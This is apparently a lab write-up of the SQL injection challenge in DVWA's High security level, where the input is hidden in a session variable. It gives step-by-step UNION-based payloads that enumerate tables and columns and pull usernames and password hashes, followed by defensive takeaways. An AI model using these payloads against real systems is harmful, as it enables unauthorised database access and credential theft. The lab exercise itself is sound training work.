In this challenge, the input is hidden, but the vulnerability is still there.

Where Is the Input?

At first, the page looks safe:

  • No input field
  • No parameter in the URL
  • No error messages

But a popup window asks for an ID.

That ID is saved in a session variable, and the main page later uses it in an SQL query.

This is the mistake.

None
None

What Went Wrong?

The application uses this query:

SELECT first_name, last_name
FROM users
WHERE user_id = '$id'
LIMIT 1;

The value of $id comes from the session, and the session value is user-controlled.

The developer trusted session data — and that trust created SQL Injection.

Step 1: Confirming SQL Injection

Payload used:

' UNION SELECT DATABASE(), USER()--

Result:

  • SQL Injection confirmed
  • Database identified as MariaDB
None
Checking database type

Step 2: Finding the Number of Columns

' UNION SELECT NULL, NULL--

✔ Worked ✔ Confirms 2 columns

None
Finding total number of columns

Step 3: Finding Table Names

' OR 1=1 UNION SELECT table_name, NULL
FROM information_schema.tables
WHERE table_schema = DATABASE()--

The condition OR 1=1 forces the query to return rows so the output becomes visible.

This revealed the users table.

None
Finding table name

Step 4: Finding Column Names

1' OR 1=1 UNION SELECT column_name, NULL
FROM information_schema.columns
WHERE table_name='users'--

Important columns found:

  • user
  • password
None
Finding column name

Step 5: Extracting Credentials

1' UNION SELECT user, password FROM users--

Usernames and password hashes were successfully retrieved.

None
Extracting username and passwprd

Why OR 1=1 Is Important

  • The page shows output only if rows exist
  • If the condition is false, nothing is displayed
  • OR 1=1 makes the condition always true

SQL Injection is about controlling logic, not memorising payloads.

Key Takeaways

  • Session variables are not safe input
  • Hiding input fields does not fix SQL Injection
  • High security levels often hide errors, not vulnerabilities
  • Understanding the flow is more important than tools

Final Thought

DVWA High doesn't remove SQL Injection — it hides it.

If user input reaches the database without protection, SQL Injection is always possible.